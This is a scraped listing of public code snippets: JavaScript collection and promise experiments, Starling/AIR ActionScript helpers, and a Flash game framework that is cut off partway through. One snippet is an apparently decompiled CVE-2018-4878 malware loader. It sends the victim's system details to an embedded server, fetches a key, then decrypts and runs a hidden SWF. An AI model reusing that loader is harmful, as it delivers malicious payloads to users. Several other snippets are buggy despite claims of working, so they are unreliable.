working on it ...

Filters

Explore Public Snippets

Sort by

Found 629 snippets

    public by sTiLL-iLL @ SniPitz-KND  3718  0  7  15

    weaklings.js... a good try at creating "WeakSet" and "WeakMap" data-structures.

    go ahead, slap the map and set...
    // weak set / map
    
    var wkMap=global.WeakMap, 
        wkSet=global.WeakSet;
        
    function wkmCreate(a) {
    	if(!isCallConstruct()) {
    		throw MakeTypeError('constructor_not_function',['WkMap']);
    	}
    	var b,c;
    	if(!(a==null)){
    		b=getEnum(a);
    		c=this.set;
    		if(!(ClassIs(c)==='Function')) {
    			throw MakeTypeError('property_not_function',['set',this]);
    		}
    	}
    	cofigureGroup(this);
    	if ((b===(void 0))) {
    		return;
    	}
    	var d,g,h;
    	while(!(d=b.next()).done) {
    		if(!(isSpecial(d))) {
    			throw MakeTypeError('iterator_result_not_an_object',[d]);
    		}
    		h=d.value;
    		if(!(isSpecial(h))) {
    			throw MakeTypeError('iterator_value_not_an_object',[h]);
    		}
    		makeCall(this,h[0],h[1],c);
    	}
    }
    function wkmGet(a) {
    	if((ClassIs(this)!=='WkMap')) {
    		throw MakeTypeError('incompatible_method_receiver',	['WkMap.prototype.get', this]);
    	}
    	if(!isSpecial(a)||(typeof(a)==='symbol')) {
    		throw MakeTypeError('invalid_weakmap_key', [this,a]);
    	}
    	return wkmGet(this,a);
    }
    function wkmSet(a,b) {
    	if((ClassIs(this)!=='WkMap')) {
    		throw MakeTypeError('incompatible_method_receiver',	['WkMap.prototype.set', this]);
    	}
    	if(!((isSpecial(a))||(typeof(a)=='symbol'))) {
    		throw MakeTypeError('invalid_weakmap_key', [this,a]);
    	}
    	return wkmCollection(this,a,b);
    }
    function wkmContains(a) {
      if((ClassIs(this)!=='WkMap')) {
    		throw MakeTypeError('incompatible_method_receiver',	['WkMap.prototype.contins', this]);
    	}
    	if(!((isSpecial(a))||(typeof(a)==='symbol'))) {
    		throw MakeTypeError('invalid_weakmap_key', [this,a]);
    	}
    	return wsContains(this,a);
    }
    function WkmDelete(a) {
      if((ClassIs(this)!=='WkMap')) {
    		throw MakeTypeError('incompatible_method_receiver',	['WkMap.prototype.delete', this]);
    	}
    	if(!((isSpecial(a))||(typeof(a)==='symbol'))) {
    		throw MakeTypeError('invalid_weakmap_key', [this, a]);
    	}
    	return emptyCollection(this, a);
    }
    function wkmClear() {
    	if((ClassIs(this)!=='WkMap')) {
    		throw MakeTypeError('incompatible_method_receiver', ['WkMap.prototype.clear', this]);
    	}
    	cofigureGroup(this);
    }
    function wkmConfigure() {
    	isStrapped();
    	setCode(wkMap, wkmCreate);
    	setProto(wkMap, new genObj());
    	addName(wkMap.prototype, "constructor", wkMap, 2);
    	pinMethods(wkMap.prototype, 2, genAry(
    		"get", wkmGet,
    		"set", wkmSet,
    		"contains", wkmContains,
    		"delete", wkmDelete,
    		"clear", wkmClear
    	));
    }
    wkmConfigure();
    
    function wsConstructor(a) {
    	if(!isConstructCall()) {
    		throw MakeTypeError('constructor_not_function',['WeakSet']);
    	}
    	var b,c;
    	if(a!==null) {
    		b=getEnum(a);
    		c=this.add;
    		if(ClassIs(c)!=='Function') {
    			throw MakeTypeError('property_not_function', ['add', this]);
    		}
    	}
    	cofigureGroup(this);
    	if ((b===(void 0))) {
    		return;
    	}
    	var d,g;
    	while(!(d=b.next()).done) {
    		if(!(isSpecial(d))) {
    			throw MakeTypeError('iterator_result_not_an_object', [d]);
    		}
    		makeCall(this, d.value, c);
    	}
    }
    function addItem(a) {
    	if(ClassIs(this)!=='WkSet') {
    		throw MakeTypeError('incompatible_method_receiver',	['WkSet.prototype.addItem', this]);
    	}
    	if(!isSpecial(a)||typeof(a)==='symbol') {
    		throw MakeTypeError('invalid_weakset_value', [this,a]);
    	}
    	return wsCollection(this, a, true);
    }
    function wsContains(a) {
    	if(ClassIs(this)!=='WkSet') {
    		throw MakeTypeError('incompatible_method_receiver',	['WkSet.prototype.contains',this]);
    	}
    	if(!isSpecial(a)||typeof(a)==='symbol') {
    		throw MakeTypeError('invalid_weakset_value', [this, a]);
    	}
    	return wsContains(this, a);
    } 
    function wsDelete(a) {
    	if(ClassIs(this)!=='WkSet') {
    		throw MakeTypeError('incompatible_method_receiver',	['WkSet.prototype.delete',this]);
    	}
    	if(!(isSpecial(a)||typeof(a)==='symbol')) {
    		throw MakeTypeError('invalid_weakset_value', [this, a]);
    	}
    	return emptyCollection(this, a);
    }
    function wsClear(){
    	if(ClassIs(this)!=='WkSet') {
    		throw MakeTypeError('incompatible_method_receiver',	['WkSet.prototype.clear', this]);
    	}
    	cofigureGroup(this);
    }
    function setConfigure() {
    	isStrapped();
    	setCode(wkSet, wsConstructor);
    	setPrototype(wkSet, new genObj());
    	addName(wkSet.prototype,"constructor", wkSet, 2);
    	pinMethods(wkSet.prototype, 2, genAry(
    	"add", addItem,
    	"has", wsContains,
    	"delete",wsDelete,
    	"clear",wsClear
    	));
    }
    return setConfigure();            

    public by sTiLL-iLL @ SniPitz-KND  3101  1  7  19

    Promise-Defer..... then-bindsTo (100% working)

    highly performant async transmission agent. functional units are expressed with a declarative syntax. Just try and break this promise,
    // deferred execution!!!
    
    this.Promise = function () {
    		return {
    			status: 'pending',
    			error: null,
    			posCBKs: [],
    			negCBKs: [],
    			then: function (posCBK, negCBK) {
    				var defer = new Deferred();
    				posCBK = (!posCBK)? function(d){d = (d || true); return d;}:posCBK;
    				negCBK = (!negCBK)? function(d){d = (d || true); return d;}:negCBK;
    				this.posCBKs.push({
    					func: posCBK,
    					deferred: defer
    				});				
    				this.negCBKs.push({
    					func: negCBK,
    					deferred: defer
    				});
    				if (status === 'resolved') {
    					this.execAction({
    						func: posCBK,
    						deferred: defer
    					}, this.data);
    				}
    				else if (status === 'rejected') {
    					this.execAction({
    						func: negCBK,
    						deferred: defer
    					}, this.error);
    				}
    				return defer.promise;
    			},
    			execAction: function (callbackData, result) {
    				wdw.setTimeout(function () {
    					var res = callbackData.func(result);
    					if (res instanceof Promise) {
    						callbackData.deferred.bind(res);
    					}
    					else {
    						callbackData.deferred.resolve(res);
    					}
    				}, 0);
    			}
    		};
    	};
    	this.Deferred = function () {
    		return {
    			promise: new Promise(),
    			resolve: function (data) {
    				var pms = this.promise;
    				pms.data = data;
    				pms.status = 'resolved';
    				if (pms.posCBKs) {
    					pms.posCBKs.forEach(function (dta) {
    						pms.execAction(dta, data);
    					});
    				}
    			},
    			reject: function (err) {
    				var pms = this.promise;
    				pms.error = err;
    				pms.status = 'rejected';
    				if (pms.negCBks) {
    					pms.negCBKs.forEach(function (dta) {
    						pms.execAction(dta, err);
    					});
    				}
    			},
    			bind: function (promise) {
    				var slf = this;
    				promise.then(function (dta) {
    					slf.resolve(dta);
    				}, function (err) {
    					slf.reject(err);
    				});
    			}
    		};
    	};

    external by Daniel Sperl  25  0  1  0

    A custom DataLoader extension that makes the asset manager cache remote files locally.

    A custom DataLoader extension that makes the asset manager cache remote files locally.: CachingDataLoader.as
    package starling.extensions
    {
        import flash.events.Event;
        import flash.events.IOErrorEvent;
        import flash.filesystem.File;
        import flash.filesystem.FileMode;
        import flash.filesystem.FileStream;
        import flash.net.URLRequest;
        import flash.utils.ByteArray;
    
        import starling.assets.DataLoader;
    
        public class CachingDataLoader extends DataLoader
        {
            private var _cacheDir:String;
    
            public function CachingDataLoader(cacheDirName:String="starling-asset-cache")
            {
                _cacheDir = cacheDirName;
            }
    
            override public function load(url:Object, onComplete:Function,
                                          onError:Function, onProgress:Function = null):void
            {
                if ("url" in url && !(url is URLRequest)) url = url["url"];
                var request:URLRequest = url as URLRequest || new URLRequest(url as String);
                var cacheFile:File;
                var stream:FileStream;
                var remoteData:ByteArray;
    
                if (request.url.indexOf("http") == 0)
                {
                    cacheFile = getCacheFile(request.url);
    
                    if (cacheFile.exists)
                    {
                        trace("loading from local cache file: " + cacheFile.nativePath);
                        super.load(cacheFile.url, onComplete, onError, onProgress);
                    }
                    else
                        super.load(url, onLoadComplete, onError, onProgress);
                }
                else
                    super.load(url, onComplete, onError, onProgress);
    
                function onLoadComplete(data:ByteArray):void
                {
                    trace("saving to local cache file: " + cacheFile.nativePath);
    
                    remoteData = data;
                    stream = new FileStream();
                    stream.addEventListener(Event.CLOSE, onFileStreamClosed);
                    stream.addEventListener(IOErrorEvent.IO_ERROR, onFileStreamError);
                    stream.openAsync(cacheFile, FileMode.WRITE);
                    stream.writeBytes(data);
                    stream.close();
                }
    
                function onFileStreamClosed(event:Event):void
                {
                    cleanup();
                    onComplete(remoteData);
                }
    
                function onFileStreamError(error:IOErrorEvent):void
                {
                    trace("error writing asset store cache: " + error.text);
                    cleanup();
    
                    try { stream.close();         } catch (e:Error) {}
                    try { cacheFile.deleteFile(); } catch (e:Error) {}
    
                    onComplete(remoteData);
                }
    
                function cleanup():void
                {
                    stream.removeEventListener(Event.CLOSE, onFileStreamClosed);
                    stream.removeEventListener(IOErrorEvent.IO_ERROR, onFileStreamError);
                }
            }
    
            private function getCacheFile(remoteUrl:String):File
            {
                var filename:String = hashString(remoteUrl);
                filename = filename.replace("+", "-").replace("/", "_").replace("=", "");
                return File.cacheDirectory.resolvePath(_cacheDir + "/" + filename);
            }
    
            // -> http://www.cse.yorku.ca/%7Eoz/hash.html
            private static function hashString(str:String):String
            {
                var hash:uint = 5381;
    
                for (var i:int = 0, len:int = str.length; i < len; ++i)
                    hash = (hash * 33) ^ str.charCodeAt(i);
    
                return hash.toString(16);
            }
        }
    }
    
    
    

    external by PrimaryFeather  20  0  1  0

    An example of how an AssetFactory for Starling's new AssetManager can process zip files.

    An example of how an AssetFactory for Starling's new AssetManager can process zip files.: ZipAssetFactory.as
    package starling.assets
    {
    
    import deng.fzip.FZip;
    import deng.fzip.FZipEvent;
    import deng.fzip.FZipFile;
    
    import flash.events.Event;
    import flash.utils.ByteArray;
    
    import starling.assets.AssetFactory;
    import starling.assets.AssetFactoryHelper;
    import starling.assets.AssetReference;
    import starling.assets.BitmapTextureFactory;
    import starling.assets.JsonFactory;
    
    public class ZipAssetFactory extends AssetFactory
    {
        private var _subFactories:Array;
    
        public function ZipAssetFactory()
        {
            addExtensions("zip");
            addMimeTypes("application/zip", "application/zip-compressed");
    
            _subFactories = [new BitmapTextureFactory(), new JsonFactory()];
        }
    
        override public function create(reference:AssetReference, helper:AssetFactoryHelper,
                                        onComplete:Function, onError:Function):void
        {
            // get the FZip library here: https://github.com/claus/fzip
          
            var numProcessing:int = 0;
            var aborted:Boolean = false;
            var fzip:FZip = new FZip();
            fzip.addEventListener(Event.COMPLETE, onZipComplete);
            fzip.addEventListener(FZipEvent.FILE_LOADED, onZipFileLoaded);
            fzip.loadBytes(reference.data as ByteArray);
    
            function onZipComplete(event:Event):void
            {
                fzip.close();
                finishIfReady();
            }
    
            function onZipFileLoaded(event:FZipEvent):void
            {
                if (aborted) return;
    
                var file:FZipFile = event.file;
                if (file.sizeUncompressed == 0 || file.filename.indexOf("__MACOSX") != -1) return;
    
                var subAsset:AssetReference = new AssetReference(file.content);
                subAsset.url = file.filename;
                subAsset.name = helper.getNameFromUrl(file.filename);
                subAsset.extension = helper.getExtensionFromUrl(file.filename);
                subAsset.textureOptions = reference.textureOptions;
    
                var subFactory:AssetFactory = getFactoryFor(subAsset);
                if (subFactory)
                {
                    numProcessing++;
                    subFactory.create(subAsset, helper, onFactoryComplete, onFactoryError);
                }
                else
                    helper.log("No suitable factory found for " + subAsset.url);
            }
    
            function onFactoryComplete(name:String, asset:Object):void
            {
                helper.addComplementaryAsset(name, asset);
                numProcessing--;
                finishIfReady();
            }
    
            function onFactoryError(error:String):void
            {
                aborted = true;
                fzip.close();
                onError(error);
            }
    
            function finishIfReady():void
            {
                if (!aborted && numProcessing == 0 && !fzip.active) onComplete();
            }
        }
    
        private function getFactoryFor(asset:AssetReference):AssetFactory
        {
            for each (var factory:AssetFactory in _subFactories)
                if (factory.canHandle(asset)) return factory;
    
            return null;
        }
    }
    
    }
    
    

    external by kbandla  27  0  1  0

    CVE-2018-4878 ActionScript for pre-decrypted SWF

    CVE-2018-4878 ActionScript for pre-decrypted SWF: loadswf.as
    package
    {
       import flash.display.Loader;
       import flash.display.Sprite;
       import flash.events.Event;
       import flash.events.IOErrorEvent;
       import flash.events.SecurityErrorEvent;
       import flash.net.URLLoader;
       import flash.net.URLRequest;
       import flash.system.Capabilities;
       import flash.text.TextField;
       import flash.utils.ByteArray;
       import mx.utils.StringUtil;
    
       public class loadswf extends Sprite
       {
    
    
          private var SWFBClass:Class;
    
          private var MyURL:Class;
    
          private var txtfld:TextField;
    
          var id_len:uint = 100;
    
          var sz_swf_head:uint = 10;
    
          var binData:ByteArray;
    
          var myUrlReqest:URLRequest;
    
          var myUrlLoader:URLLoader;
    
          public function loadswf()
          {
             this.SWFBClass = loadswf_SWFBClass;
             this.MyURL = loadswf_MyURL;
             this.txtfld = new TextField();
             this.myUrlReqest = new URLRequest();
             this.myUrlLoader = new URLLoader();
             super();
             this.txtfld.width = 500;
             this.txtfld.height = 1000;
             addChild(this.txtfld);
             this.myUrlLoader.addEventListener(Event.COMPLETE,this.Decript);
             this.myUrlLoader.addEventListener(IOErrorEvent.IO_ERROR,this.OnIOErrorHandle);
             this.myUrlLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,this.OnSecurityErrorHandle);
             this.binData = new this.SWFBClass() as ByteArray;
             this.SendGetSwfKeyReqest();
          }
    
          public function SendGetSwfKeyReqest() : void
          {
             var swf_id:ByteArray = new ByteArray();
             var strDbg:String = !!Capabilities.isDebugger?"-D":"";
             var my_url:ByteArray = new this.MyURL() as ByteArray;
             swf_id.writeBytes(this.binData,this.sz_swf_head,this.id_len);
             this.myUrlReqest.url = StringUtil.trim(my_url.toString());
             this.myUrlReqest.url = this.myUrlReqest.url + ("?id=" + this.Array2String(swf_id));
             this.myUrlReqest.url = this.myUrlReqest.url + ("&fp_vs=" + Capabilities.version.replace(",",".") + strDbg);
             this.myUrlReqest.url = this.myUrlReqest.url + ("&os_vs=" + Capabilities.os);
             this.myUrlLoader.load(this.myUrlReqest);
          }
    
          private function Array2String(data:ByteArray, split:String = "") : String
          {
             var char:String = null;
             var res:String = "";
             for(var i:int = 0; i < data.length; i++)
             {
                char = data[i].toString(16).toUpperCase();
                if(char.length == 1)
                {
                   char = "0" + char;
                }
                res = res + (char + split);
             }
             return res;
          }
    
          public function Decript(event:Event) : void
          {
             var j:int = 0;
             var loader:URLLoader = URLLoader(event.target);
             var swf_key_txt:String = loader.data;
             var decData:ByteArray = new ByteArray();
             var swf_key:ByteArray = new ByteArray();
             for(var i:int = 0; i < swf_key_txt.length; i = i + 2)
             {
                swf_key.writeByte(uint("0x" + swf_key_txt.substr(i,2)));
             }
             decData.writeBytes(this.binData,0,this.sz_swf_head);
             this.binData.position = this.sz_swf_head + this.id_len;
             var n:uint = this.binData.readUnsignedInt();
             this.binData.position = 0;
             for(i = this.sz_swf_head + this.id_len + 4; i < this.binData.length; i = i + 100)
             {
                for(j = 0; j < this.id_len; j++)
                {
                   decData.writeByte(this.binData[i + j] ^ swf_key[j]);
                }
             }
             var l:Loader = new Loader();
             l.loadBytes(decData);
             addChild(l);
          }
    
          public function OnIOErrorHandle(event:IOErrorEvent) : void
          {
          }
    
          public function OnSecurityErrorHandle(event:SecurityErrorEvent) : void
          {
          }
       }
    }
    
    
    

    external by mika  31  0  1  0

    Flash AS3 AIR : Create Plain Text File

    Flash AS3 AIR : Create Plain Text File: as3-create-text-file.as
    // maybe need some other imports also, add if needed
    import flash.filesystem.File;
    import flash.filesystem.FileStream;
    import flash.filesystem.FileMode;
    
    // saves file to C:\Users\username\AppData\Roaming\APPID\Local Store\
    var myfile:File = File.applicationStorageDirectory.resolvePath("hello.txt");
    
    var mystring = "Hello World!";
    
    
    // create file
    fileStream.open(myfile, FileMode.WRITE);
    
    // output to it
    fileStream.writeUTFBytes(mystring);
    
    // close
    fileStream.close();
    
    
    

    external by 7hny  30  0  1  0

    THE ESSENTIAL GUIDE TO FLASH GAMES GameFrameWork

    THE ESSENTIAL GUIDE TO FLASH GAMES GameFrameWork: GameFrameWork.as
    package com.efg.framework
    {
    	
    	import flash.display.Bitmap;
    	import flash.display.BitmapData;
    	import flash.display.MovieClip;
    	import flash.events.Event;
    	import flash.events.KeyboardEvent;
    	import flash.geom.Point;
    	import flash.text.TextFormat;
    	import flash.utils.getTimer;
    	import flash.utils.Timer;
    	import flash.events.TimerEvent;
    	import mochi.as3.*;
    	
    	public class GameFrameWork extends MovieClip {
    		
    		public static const EVENT_WAIT_COMPLETE:String = "wait complete";
    		
    		//added in chapter 11
    		
    		public static const KEY_MUTE:int = 77;  // added chapter 11
    		public static const KEY_PAUSE:int = 80; //added chapter 11 
    		public var paused:Boolean = false;
    		public var pausedScreen:BasicScreen; 
    		
    		public var systemFunction:Function;
    		public var currentSystemState:int;
    		public var nextSystemState:int;
    		public var lastSystemState:int;
    
    		public var appBackBitmapData:BitmapData; 
    		public var appBackBitmap:Bitmap; ;
    		
    		public var frameRate:int; 
    		public var timerPeriod:Number; 
    		public var gameTimer:Timer;
    		
    		public var titleScreen:BasicScreen; 
    		public var gameOverScreen:BasicScreen; 
    		public var instructionsScreen:BasicScreen; 
    		public var levelInScreen:BasicScreen; 
    		public var scoreBoard:ScoreBoard; 
    		
    		
    		public var scoreBoardTextFormat:TextFormat;
    		public var screenTextFormat:TextFormat;
    		public var screenButtonFormat:TextFormat;
    		
    		public var levelInText:String;
    		
    		public var soundManager:SoundManager;
    	
    		//chapter 11 added
    		public var frameCounter:FrameCounter = new FrameCounter();
    		public var lastTime:Number;
    		public var timeDifference:Number
    		
    		//chapter 12 added\
    		//Mochi
    		public var mochiGameId:String;
    		public var mochiBoardId:String;
    		public var lastScore:Number;
    		
    		//Game is our custom class to hold all logic for the game. 
    		public var game:Game;
    		
    		
    		//waitTime is used in conjunction with the STATE_SYSTEM_WAIT state
    		// it suspends the game and allows animation or other processing to finish
    		public var waitTime:int;
    		public var waitCount:int = 0;
    		
    		//added chapter 11
    		
    		
    		public var frameRateProfiler:FrameRateProfiler;
    		
    		//**added chapter 12 for preloader
    		public var preloaderStarted:Boolean=false;
    		public var preloadString:String=new String();
    		public var preloadScreen:BasicScreen;
    		
    		
    		// Our construction only calls init(). This way, we can re-init the entire system if necessary
    		public function GameFrameWork() {
    			
    			soundManager = new SoundManager(); // moved
    		}
    		
    		//function added in chapter 11
    		public function addedToStage(e:Event = null):void {
    			stage.addEventListener(KeyboardEvent.KEY_DOWN,keyDownListener);
    			this.focusRect=false; // added chapter 11 
    			stage.focus = stage; // added chapter 11
    			
    			
    			trace("gamFrameWork added to stage");
    		}
    		
    		
    		// init() is used to set up all of the things that we should only need to do one time
    		public function init():void {
    			trace("inner init");
    			
    		}
    		
    		public function frameRateProfileComplete(e:Event):void {
    			
    		}
    		
    		//*** function added chapter 12
    		private function systemPreload():void {
    			if (!preloaderStarted) {
    				trace("preload started");
    				preloadScreen.setDisplayText("Loading: 0%"); //Changed chapter 12
    				addChild(preloadScreen)
    				//this.loaderInfo.addEventListener(ProgressEvent.PROGRESS, preloadProgress);
    				//this.loaderInfo.addEventListener(Event.COMPLETE, preloadComplete);
    				preloaderStarted=true;
    			}else{
    				
    				var percentLoaded:int=(this.loaderInfo.bytesLoaded/this.loaderInfo.bytesTotal)*100;
    				trace(percentLoaded);
    				preloadString="Loading: "+percentLoaded+"%";
    				preloadScreen.setDisplayText(preloadString);
    				if (percentLoaded >99) {
    					trace(">99");
    					this.play();
    				}
    				
    				if (currentFrame==3) {
    					trace("frame == 3")
    					addSounds();
    					
    					removeChild(preloadScreen);
    					nextSystemState = FrameWorkStates.STATE_SYSTEM_TITLE;
    					switchSystemState(nextSystemState);
    				}
    				
    			}
    			
    		}
    		
    		public function addSounds():void {
    			//stub only needed in IDE preloading
    		}
    		
    		public function setApplicationBackGround(width:Number, height:Number, isTransparent:Boolean = false, color:uint = 0x000000):void {
    			appBackBitmapData = new BitmapData(width, height, isTransparent, color);
    			appBackBitmap = new Bitmap(appBackBitmapData);
    			addChild(appBackBitmap);
    
    		}
    		public function startTimer(timeBasedAnimation:Boolean=false):void {
    			stage.frameRate = frameRate;
    			
    			if (timeBasedAnimation) {
    				lastTime = getTimer();
    				addEventListener(Event.ENTER_FRAME, runGameEnterFrame);
    			}else{
    				timerPeriod = 1000 / frameRate;
    				gameTimer=new Timer(timerPeriod); //*** changed removed in new chapter 2
    				gameTimer.addEventListener(TimerEvent.TIMER, runGame);
    				gameTimer.start();
    			}
    			
    			
    		
    			
    		}
    		
    		
    		public function runGame(e:TimerEvent):void {
    			
    
    				systemFunction(); 
    				frameCounter.countFrames();
    			
    		}
    		
    		public function runGameEnterFrame(e:Event):void {
    
    				timeDifference = getTimer() - lastTime
    				lastTime = getTimer();
    				systemFunction(); 
    				frameCounter.countFrames();
    			
    		}
    
    
    		//switchSystem state is called only when the state is to be changed (not every frame like in some switch/case
    		//based simple state machines
    		
    		public function switchSystemState(stateval:int):void {
    			lastSystemState = currentSystemState;
    			currentSystemState = stateval;
    			
    			trace("currentSystemState=" + currentSystemState)
    			switch(stateval) {
    				
    				case FrameWorkStates.STATE_SYSTEM_WAIT: 
    					systemFunction = systemWait;
    					break;
    				
    				case FrameWorkStates.STATE_SYSTEM_WAIT_FOR_CLOSE:
    					systemFunction = systemWaitForClose;
    					break;
    				
    				case FrameWorkStates.STATE_SYSTEM_TITLE:
    					systemFunction = systemTitle;
    					break;
    			
    			    case FrameWorkStates.STATE_SYSTEM_INSTRUCTIONS:
    					systemFunction = systemInstructions;
    					break;
    				
    				case FrameWorkStates.STATE_SYSTEM_NEW_GAME:
    					systemFunction = systemNewGame;
    					break;	
    				
    				case FrameWorkStates.STATE_SYSTEM_NEW_LEVEL:
    					systemFunction = systemNewLevel;
    					break;
    				
    				case FrameWorkStates.STATE_SYSTEM_LEVEL_IN:
    					systemFunction = systemLevelIn;
    					break;
    				
    				case FrameWorkStates.STATE_SYSTEM_GAME_PLAY:
    					systemFunction = systemGamePlay;
    					break
    				
    				case FrameWorkStates.STATE_SYSTEM_GAME_OVER:
    					systemFunction = systemGameOver;
    					break;
    					//*** added chapter 12
    				case FrameWorkStates.STATE_SYSTEM_MOCHI_AD: 
    					systemFunction = systemMochiAd;
    					break;
    					
    				case FrameWorkStates.STATE_SYSTEM_MOCHI_HIGHSCORES: 
    					systemFunction = systemMochiHighscores;
    					break;
    				case FrameWorkStates.STATE_SYSTEM_PRELOAD: 
    					systemFunction = systemPreload;
    					break;
    				//*** end added chapter 12
    			}
    				
    		}
    		
    		
    		
    		
    		
    		public function systemMochiAd():void {
    			
    			//format resolotion as string example: 600x400
    			var resolution:String = stage.width + "x" + stage.height;
    		
    			
    			MochiAd.showPreGameAd({clip:this, id:mochiGameId, res:resolution, ad_finished:mochiAdComplete, ad_failed:mochiAdComplete, ad_skipped:mochiAdComplete});
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_WAIT_FOR_CLOSE);
    			nextSystemState = FrameWorkStates.STATE_SYSTEM_TITLE;
    		}
    		
    		//*** new Function for Mochi ads chapter 12
    		public  function mochiAdComplete():void {
    			switchSystemState(nextSystemState);
    		}
    		
    		//*** added chapter 12 for mochi high scores
    		public  function systemMochiHighscores():void {
    			var resolution:String = stage.width + "x" + stage.height;
    			var o:Object = { n: [15, 15, 14, 2, 13, 14, 0, 10, 14, 2, 2, 1, 10, 7, 15, 4], f: function (i:Number,s:String):String { if (s.length == 16) return s; return this.f(i+1,s + this.n[i].toString(16));}};
    			//var boardID:String = o.f(0,"");
    			MochiScores.showLeaderboard({boardID: mochiBoardId, score: lastScore, onClose:mochiHighscoresComplete, res:resolution });
    			
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_WAIT_FOR_CLOSE);
    			nextSystemState = FrameWorkStates.STATE_SYSTEM_TITLE;
    		}
    		
    		//*** new Function for Mochi ads chapter 12
    		public  function mochiHighscoresComplete():void {
    			switchSystemState(nextSystemState);
    	
    		}
    		
    	
    		public function systemTitle():void {
    			addChild(titleScreen);
    			titleScreen.addEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener, false, 0, true);
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_WAIT_FOR_CLOSE);
    			nextSystemState = FrameWorkStates.STATE_SYSTEM_INSTRUCTIONS;
    		}
    		
    		
    		public function systemInstructions():void {
    		//	trace("system instructions");
    			addChild(instructionsScreen);
    			instructionsScreen.addEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener, false, 0, true);
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_WAIT_FOR_CLOSE);
    			nextSystemState = FrameWorkStates.STATE_SYSTEM_NEW_GAME;
    		}
    		
    		
    		public function systemNewGame():void {
    			addChild(game);
    			game.addEventListener(CustomEventScoreBoardUpdate.UPDATE_TEXT, scoreBoardUpdateListener, false, 0, true);
    			game.addEventListener(CustomEventLevelScreenUpdate.UPDATE_TEXT, levelScreenUpdateListener, false, 0, true);
    			game.addEventListener(CustomEventSound.PLAY_SOUND, soundEventListener, false, 0, true);
    			game.addEventListener(Game.GAME_OVER, gameOverListener, false, 0, true);
    			game.addEventListener(Game.NEW_LEVEL, newLevelListener, false, 0, true);
    			game.newGame();
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_NEW_LEVEL);
    		}
    		
    		
    		public function systemNewLevel():void {
    			game.newLevel();
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_LEVEL_IN);
    		}
    		
    		
    		public function systemLevelIn():void {
    			addChild(levelInScreen);
    			waitTime = 30;
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_WAIT);
    			nextSystemState = FrameWorkStates.STATE_SYSTEM_GAME_PLAY;
    			addEventListener(EVENT_WAIT_COMPLETE, waitCompleteListener, false, 0, true);
    			
    		}
    		
    		
    		public function systemGameOver():void {
    			removeChild(game);
    			
    			addChild(gameOverScreen);
    			gameOverScreen.addEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener, false, 0, true);
    			
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_WAIT_FOR_CLOSE);
    			nextSystemState = FrameWorkStates.STATE_SYSTEM_TITLE;
    		}
    		
    		
    		public function systemGamePlay():void {
    			
    			game.runGame();
    			
    			
    		}
    		
    		
    	
    		public function systemWaitForClose():void {
    			//do nothing
    		}
    		
    		
    		public function systemWait():void {
    			waitCount++;
    				if (waitCount > waitTime) {
    					waitCount = 0;
    					dispatchEvent(new Event(EVENT_WAIT_COMPLETE));
    				}
    		}
    
    	
    		public function okButtonClickListener(e:CustomEventButtonId):void {
    
    			switch(e.id) {
    				
    				case FrameWorkStates.STATE_SYSTEM_TITLE:
    					removeChild(titleScreen);
    					titleScreen.removeEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener);
    					break;
    			
    			    case FrameWorkStates.STATE_SYSTEM_INSTRUCTIONS:
    					removeChild(instructionsScreen);
    					instructionsScreen.removeEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener);
    					break;					
    				
    				case FrameWorkStates.STATE_SYSTEM_GAME_OVER:
    				
    					removeChild(gameOverScreen);
    					gameOverScreen.removeEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener);
    					break;
    				
    				
    			}
    			trace("next system state=" + nextSystemState);
    			switchSystemState(nextSystemState);
    		}
    		
    		
    		public function scoreBoardUpdateListener(e:CustomEventScoreBoardUpdate):void {
    			scoreBoard.update(e.element, e.value);
    		}
    		
    		
    		public function levelScreenUpdateListener(e:CustomEventLevelScreenUpdate):void {
    			levelInScreen.setDisplayText(levelInText + e.text);
    		}
    		
    		//gameOverListener listens for Game.GAMEOVER simple custom events calls and changes state accordingly
    		public function gameOverListener(e:Event):void {
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_GAME_OVER);
    			game.removeEventListener(CustomEventScoreBoardUpdate.UPDATE_TEXT, scoreBoardUpdateListener);
    			game.removeEventListener(CustomEventLevelScreenUpdate.UPDATE_TEXT, levelScreenUpdateListener);
    			game.removeEventListener(CustomEventSound.PLAY_SOUND, soundEventListener);
    			game.removeEventListener(Game.GAME_OVER, gameOverListener);
    			game.removeEventListener(Game.NEW_LEVEL, newLevelListener);
    		}
    		
    		//newLevelListener listens for Game.NEWLEVEL simple custom events calls and changes state accordingly
    		public function newLevelListener(e:Event):void {
    			switchSystemState(FrameWorkStates.STATE_SYSTEM_NEW_LEVEL);
    		}
    		
    		public function waitCompleteListener(e:Event):void {
    			switch(lastSystemState) {
    				
    				case FrameWorkStates.STATE_SYSTEM_LEVEL_IN:
    					removeChild(levelInScreen);
    					break
    			}
    			removeEventListener(EVENT_WAIT_COMPLETE, waitCompleteListener);
    			switchSystemState(nextSystemState);
    		}
    		
    		public function soundEventListener(e:CustomEventSound):void {
    			if (e.type == CustomEventSound.PLAY_SOUND) {
    				//trace("play sound");
    				soundManager.playSound(e.name, e.isSoundTrack, e.loops, e.offset, e.volume );
    			}else {
    				soundManager.stopSound(e.name, e.isSoundTrack);
    			}
    		}
    		
    		public  function keyDownListener(e:KeyboardEvent):void { 
    			
    		trace("key down: " + e.keyCode);
    			switch(e.keyCode) {
    				case KEY_PAUSE:
    					//pause key pressed
    					pausedKeyPressedHandler();
    					break;
    				case KEY_MUTE:
    					muteKeyPressedHandler();
    					break;
    				
    			}
    			
    		}
    		
    		
    		
    		
    		public function pausedScreenClickListener(e:Event):void {
    			removeChild(pausedScreen);
    			pausedScreen.removeEventListener(CustomEventButtonId.BUTTON_ID, okButtonClickListener);
    			trace("clicked");
    			paused = false;
    			stage.focus = game;
    		}
    		
    		
    		public  function pausedKeyPressedHandler():void {
    			trace("handle pause");
    			addChild(pausedScreen);
